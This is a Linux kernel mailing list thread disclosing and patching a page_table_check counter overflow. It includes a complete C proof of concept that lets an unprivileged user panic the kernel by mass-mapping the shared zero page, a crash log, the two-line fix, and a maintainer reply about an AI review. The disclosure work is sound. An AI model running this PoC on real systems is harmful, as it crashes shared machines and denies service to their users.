mm/page_table_check: skip zero pages
Subsystems (2)
v2 cover mm/page_table_check: skip zero pages
From: Zhiling Zou <[email protected]>
Hi Linux kernel maintainers,
We found and validated an issue in mm/page_table_check.c. The bug is reachable by a non-root user directly, without user or network namespaces.
We've built the changed object, and the fix should not affect normal page_table_check functionality because it only treats permanent zero pages as a special case while leaving the existing ordinary-page checks unchanged.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
page_table_check_set() and page_table_check_clear() account pages based on whether PageAnon() is set. The shared zero page is a special page, not an ordinary file-backed page, but the current code still counts its read-only anonymous mappings in file_map_count.
An unprivileged process can fault enough private anonymous read-only memory to repeatedly map the shared zero page until file_map_count wraps negative, after which page_table_check_set() or page_table_check_clear() trips the existing BUG_ON().
This fix skips zero pages in page_table_check accounting. Those pages do not need the anonymous-versus-file conflict checks which page_table_check performs for ordinary pages, and this keeps the counter size and page_ext layout unchanged.
Reproducer:
gcc -O2 -Wall -Wextra -static -o poc poc.c
./poc
The PoC defaults to 16 workers and 513 GB of read-only anonymous virtual space per worker. We run the PoC in a 16 vCPU, 24 GB RAM x86 QEMU environment with panic_on_warn=0.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef MADV_POPULATE_READ
#define MADV_POPULATE_READ 22
#endif
static unsigned long long env_ull(const char *name, unsigned long long def)
{
const char *s = getenv(name);
char *end = NULL;
unsigned long long v;
if (!s || !*s)
return def;
errno = 0;
v = strtoull(s, &end, 0);
if (errno || !end || *end) {
fprintf(stderr, "invalid %s=%s\n", name, s);
exit(2);
}
return v;
}static void worker(int sync_fd, unsigned long long gigabytes,
unsigned long long base_addr_tb)
{
const unsigned long long len = gigabytes << 30;
const uintptr_t hint = (uintptr_t)(base_addr_tb << 40);
void *addr;
char c;
if (read(sync_fd, &c, 1) < 0) {
perror("read(sync_fd)");
_exit(1);
}
close(sync_fd);
addr = mmap((void *)hint, len, PROT_READ,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE |
MAP_FIXED_NOREPLACE,
-1, 0);
if (addr == MAP_FAILED && errno == EEXIST) {
addr = mmap(NULL, len, PROT_READ,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1,
0);
}
if (addr == MAP_FAILED) {
fprintf(stderr, "[%d] mmap(%llu GB) failed: %s\n", getpid(),
gigabytes, strerror(errno));
_exit(1);
}
if (madvise(addr, len, MADV_NOHUGEPAGE) != 0) {
fprintf(stderr, "[%d] MADV_NOHUGEPAGE failed: %s\n", getpid(),
strerror(errno));
_exit(1);
}
fprintf(stderr, "[%d] populating %llu GB at %p\n", getpid(), gigabytes,
addr);
fflush(stderr);
if (madvise(addr, len, MADV_POPULATE_READ) != 0) {
fprintf(stderr, "[%d] MADV_POPULATE_READ failed: %s\n", getpid(),
strerror(errno));
_exit(1);
}
fprintf(stderr, "[%d] populated; holding mapping\n", getpid());
fflush(stderr);
for (;;)
pause();
}int main(void)
{
const unsigned long long workers = env_ull("POC_WORKERS", 16);
const unsigned long long gigabytes = env_ull("POC_GB_PER_WORKER", 513);
const unsigned long long base_addr_tb = env_ull("POC_BASE_ADDR_TB", 4);
pid_t *pids;
int sync_pipe[2];
unsigned long long i;
if (workers == 0 || gigabytes == 0) {
fprintf(stderr, "POC_WORKERS and POC_GB_PER_WORKER must be > 0\n");
return 2;
}
printf("workers=%llu gb_per_worker=%llu total_gb=%llu base_addr_tb=%llu\n",
workers, gigabytes, workers * gigabytes, base_addr_tb);
fflush(stdout);
pids = calloc(workers, sizeof(*pids));
if (!pids) {
perror("calloc");
return 1;
}
if (pipe(sync_pipe) != 0) {
perror("pipe");
return 1;
}
for (i = 0; i < workers; i++) {
pid_t pid = fork();
if (pid < 0) {
perror("fork");
return 1;
}
if (pid == 0) {
close(sync_pipe[1]);
worker(sync_pipe[0], gigabytes, base_addr_tb);
}
pids[i] = pid;
}
close(sync_pipe[0]);
close(sync_pipe[1]);
for (;;) {
int status;
pid_t pid = wait(&status);
if (pid < 0) {
if (errno == EINTR)
continue;
perror("wait");
return 1;
}
if (WIFEXITED(status))
fprintf(stderr, "child %d exited with status %d\n", pid,
WEXITSTATUS(status));
else if (WIFSIGNALED(status))
fprintf(stderr, "child %d killed by signal %d\n", pid,
WTERMSIG(status));
fflush(stderr);
}
}------END poc.c--------
----BEGIN crash log----
[ 1513.218556][T10794] kernel BUG at mm/page_table_check.c:121! [ 1513.219101][T10785] kernel BUG at mm/page_table_check.c:121! [ 1513.219102][T10787] kernel BUG at mm/page_table_check.c:121! [ 1513.219103][T10795] kernel BUG at mm/page_table_check.c:121! [ 1513.219106][T10791] kernel BUG at mm/page_table_check.c:121! [ 1513.219146][T10785] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI [ 1513.219173][T10785] CPU: 4 UID: 1028 PID: 10785 Comm: poc Tainted: G W 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full) [ 1513.219181][T10785] Tainted: [W]=WARN [ 1513.219184][T10785] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 1513.219191][T10785] RIP: 0010:page_table_check_set+0x47a/0x660 [ 1513.219223][T10785] Code: c0 0f 85 83 00 00 00 49 8d 7d 04 be 04 00 00 00 e8 bb bc f5 ff b8 01 00 00 00 f0 41 0f c1 45 04 83 c0 01 0f 89 bf fe ff ff 90 <0f> 0b 48 89 ef e8 3c ee ff ff 48 89 c3 e9 cd fe ff ff e8 af b2 74 [ 1513.219227][T10785] RSP: 0018:ffa00000174df708 EFLAGS: 00010282 [ 1513.219233][T10785] RAX: 0000000080000004 RBX: ff11000100cf9e70 RCX: ffffffff82272c45 [ 1513.219236][T10785] RDX: ffe21c002019f3d8 RSI: 0000000000000004 RDI: ff11000100cf9ebc [ 1513.219239][T10785] RBP: 00000000000131fc R08: 0000000000000001 R09: ffe21c002019f3d7 [ 1513.219242][T10785] R10: ff11000100cf9ebf R11: 0000000000000007 R12: 0000000000000000 [ 1513.219245][T10785] R13: ff11000100cf9eb8 R14: dffffc0000000000 R15: 00000000000131fd [ 1513.219249][T10785] FS: 00007f4996890780(0000) GS:ff110005d0a68000(0000) knlGS:0000000000000000 [ 1513.219255][T10785] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1513.219258][T10785] CR2: 00005606316be348 CR3: 00000001a2981000 CR4: 0000000000751ef0 [ 1513.219261][T10785] PKRU: 55555554 [ 1513.219263][T10785] Call Trace: [ 1513.219266][T10785] <TASK> [ 1513.219275][T10785] __page_table_check_ptes_set+0x19e/0x310 [ 1513.219281][T10785] ? __pfx___page_table_check_ptes_set+0x10/0x10 [ 1513.219288][T10785] ? __pfx_pfn_pte+0x10/0x10 [ 1513.219302][T10785] do_anonymous_page+0x11f3/0x1df0 [ 1513.219311][T10785] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1513.219322][T10785] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1513.219330][T10785] __handle_mm_fault+0x151f/0x1f90 [ 1513.219337][T10785] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1513.219343][T10785] ? __pfx_do_raw_spin_lock+0x10/0x10 [ 1513.219357][T10785] ? __pfx___handle_mm_fault+0x10/0x10 [ 1513.219365][T10785] ? pte_offset_map_lock+0xf5/0x260 [ 1513.219370][T10785] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1513.219375][T10785] ? find_held_lock+0x2b/0x80 [ 1513.219388][T10785] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1513.219392][T10785] ? follow_page_pte+0x3fb/0xf50 [ 1513.219402][T10785] handle_mm_fault+0x2ad/0x8c0 [ 1513.219413][T10785] __get_user_pages+0x3b5/0x29a0 [ 1513.219428][T10785] ? __pfx___get_user_pages+0x10/0x10 [ 1513.219434][T10785] ? rcu_is_watching+0x12/0xc0 [ 1513.219444][T10785] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1513.219487][T10785] faultin_page_range+0x276/0x6c0 [ 1513.219493][T10785] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1513.219501][T10785] madvise_do_behavior+0x2ce/0x4a0 [ 1513.219513][T10785] ? __pfx_madvise_do_behavior+0x10/0x10 [ 1513.219520][T10785] ? down_read+0x142/0x460 [ 1513.219548][T10785] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1513.219552][T10785] ? rw_verify_area+0x71/0x560 [ 1513.219563][T10785] do_madvise+0x12e/0x1b0 [ 1513.219569][T10785] ? __pfx_do_madvise+0x10/0x10 [ 1513.219574][T10785] ? __pfx_vfs_write+0x10/0x10 [ 1513.219595][T10785] ? __pfx_ksys_write+0x10/0x10 [ 1513.219605][T10785] __x64_sys_madvise+0xa9/0x110 [ 1513.219609][T10785] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1513.219614][T10785] ? lockdep_hardirqs_on+0x7b/0x110 [ 1513.219620][T10785] do_syscall_64+0x116/0xf80 [ 1513.219628][T10785] ? irqentry_exit+0x117/0x830 [ 1513.219636][T10785] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 1513.219640][T10785] RIP: 0033:0x7f499699fbf7 [ 1513.219659][T10785] Code: ff e8 2d 7d ff ff 48 8b 54 24 28 64 48 2b 14 25 28 00 00 00 75 05 48 83 c4 38 c3 e8 f3 ff 00 00 0f 1f 00 b8 1c 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e9 81 0d 00 f7 d8 64 89 01 48 [ 1513.219663][T10785] RSP: 002b:00007ffc39138e78 EFLAGS: 00000202 ORIG_RAX: 000000000000001c [ 1513.219668][T10785] RAX: ffffffffffffffda RBX: 0000040000000000 RCX: 00007f499699fbf7 [ 1513.219671][T10785] RDX: 0000000000000016 RSI: 0000008040000000 RDI: 0000040000000000 [ 1513.219674][T10785] RBP: 0000008040000000 R08: 0000000000000000 R09: 0000000000000000 [ 1513.219677][T10785] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000201 [ 1513.219679][T10785] R13: 0000040000000000 R14: 0000000000000002 R15: 00005575774bbd18 [ 1513.219706][T10785] </TASK> [ 1513.219708][T10785] Modules linked in: [ 1513.219718][T10785] ---[ end trace 0000000000000000 ]--- [ 1513.219719][T10795] Oops: invalid opcode: 0000 [#2] SMP KASAN NOPTI [ 1513.219722][T10785] RIP: 0010:page_table_check_set+0x47a/0x660 [ 1513.219728][T10785] Code: c0 0f 85 83 00 00 00 49 8d 7d 04 be 04 00 00 00 e8 bb bc f5 ff b8 01 00 00 00 f0 41 0f c1 45 04 83 c0 01 0f 89 bf fe ff ff 90 <0f> 0b 48 89 ef e8 3c ee ff ff 48 89 c3 e9 cd fe ff ff e8 af b2 74 [ 1513.219732][T10785] RSP: 0018:ffa00000174df708 EFLAGS: 00010282 [ 1513.219730][T10795] CPU: 7 UID: 1028 PID: 10795 Comm: poc Tainted: G D W 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full) [ 1513.219736][T10785] [ 1513.219740][T10795] Tainted: [D]=DIE, [W]=WARN [ 1513.219739][T10785] RAX: 0000000080000004 RBX: ff11000100cf9e70 RCX: ffffffff82272c45 [ 1513.219743][T10795] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 1513.219744][T10785] RDX: ffe21c002019f3d8 RSI: 0000000000000004 RDI: ff11000100cf9ebc [ 1513.219748][T10785] RBP: 00000000000131fc R08: 0000000000000001 R09: ffe21c002019f3d7 [ 1513.219752][T10785] R10: ff11000100cf9ebf R11: 0000000000000007 R12: 0000000000000000 [ 1513.219748][T10795] RIP: 0010:page_table_check_set+0x47a/0x660 [ 1513.219755][T10785] R13: ff11000100cf9eb8 R14: dffffc0000000000 R15: 00000000000131fd [ 1513.219760][T10795] Code: c0 0f 85 83 00 00 00 49 8d 7d 04 be 04 00 00 00 e8 bb bc f5 ff b8 01 00 00 00 f0 41 0f c1 45 04 83 c0 01 0f 89 bf fe ff ff 90 <0f> 0b 48 89 ef e8 3c ee ff ff 48 89 c3 e9 cd fe ff ff e8 af b2 74 [ 1513.219761][T10785] FS: 00007f4996890780(0000) GS:ff110005d0a68000(0000) knlGS:0000000000000000 [ 1513.219764][T10795] RSP: 0018:ffa00000172ef708 EFLAGS: 00010286 [ 1513.219767][T10785] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1513.219768][T10795] [ 1513.219771][T10795] RAX: 0000000080000003 RBX: ff11000100cf9e70 RCX: ffffffff82272c45 [ 1513.219772][T10785] CR2: 00005606316be348 CR3: 00000001a2981000 CR4: 0000000000751ef0 [ 1513.219775][T10795] RDX: ffe21c002019f3d8 RSI: 0000000000000004 RDI: ff11000100cf9ebc [ 1513.219776][T10785] PKRU: 55555554 [ 1513.219779][T10795] RBP: 00000000000131fc R08: 0000000000000001 R09: ffe21c002019f3d7 [ 1513.219781][T10785] Kernel panic - not syncing: Fatal exception [ 1514.282927][T10785] Shutting down cpus with NMI [ 1514.283092][T10785] Kernel Offset: disabled
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
mm/page_table_check: skip zero pages
mm/page_table_check.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
Signature · 1 line
2.43.0
PATCH v2 1/1 mm/page_table_check: skip zero pages
From: Zhiling Zou <[email protected]>
page_table_check_set() accounts pages by whether they are PageAnon(). The shared zero page is a special page, not an ordinary file-backed page. Read faults on private anonymous mappings can install many read-only PTEs that point at the zero page, but page_table_check currently accounts them in file_map_count.
That lets an unprivileged process populate enough zero-page mappings to overflow file_map_count and trip the BUG_ON() in page_table_check_set().
Skip zero pages in page_table_check accounting. They do not need the anonymous/file mapping conflict checks that page_table_check performs for ordinary pages, and this keeps the existing counter size and page_ext layout unchanged.
---
changes in v2:
- Handle zero and huge zero pages as special cases instead of widening
page_table_check counters.
- Keep page_ext storage and ordinary page map-count checks unchanged.
- v1 Link: https://lore.kernel.org/all/b4414b588418c52a99d959d35a40e064ae8b6e72.1784337674.git.roxy520tt@gmail.com/
mm/page_table_check.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
mm/page_table_check.c +2 -2
@@ -67,7 +67,7 @@ static void page_table_check_clear(unsigned long pfn, unsigned long pgcnt)struct page *page;bool anon; -if (!pfn_valid (pfn)) +if (!pfn_valid (pfn) ||is_zero_pfn (pfn) ||is_huge_zero_pfn (pfn))return ; page =pfn_to_page (pfn);
@@ -102,7 +102,7 @@ static void page_table_check_set(unsigned long pfn, unsigned long pgcnt,struct page *page;bool anon; -if (!pfn_valid (pfn)) +if (!pfn_valid (pfn) ||is_zero_pfn (pfn) ||is_huge_zero_pfn (pfn))return ; page =pfn_to_page (pfn);
Signature · 1 line
2.43.0
Andrew Morton
maintainerQuoted 10 lines · On Tue, 21 Jul 2026 23:56:38 +0800 Ren Wei <[email protected]> wrote:
From: Zhiling Zou <[email protected]>
page_table_check_set()accounts pages by whether they arePageAnon(). The shared zero page is a special page, not an ordinary file-backed page. Read faults on private anonymous mappings can install many read-only PTEs that point at the zero page, butpage_table_checkcurrently accounts them infile_map_count.That lets an unprivileged process populate enough zero-page mappings to overflow
file_map_countand trip theBUG_ON()inpage_table_check_set().
Yeah, we don't want that.
Quoted 4 lines
Skip zero pages in
page_table_checkaccounting. They do not need the anonymous/file mapping conflict checks thatpage_table_checkperforms for ordinary pages, and this keeps the existing counter size andpage_extlayout unchanged.
AI review:
https://sashiko.dev/#/patchset/1f8848512d2e3ded944f8d595c29faee8fdaeab0.1784645969.git.roxy520tt@gmail.com
claims that we're missing a barrier which, in the unlikely case, can result in us "mapping the system-wide huge zero folio as writable". We don't want that either.
I'm not sure why this is described as a pre-existing issue, as it's this change which adds the is_huge_zero_pfn() check.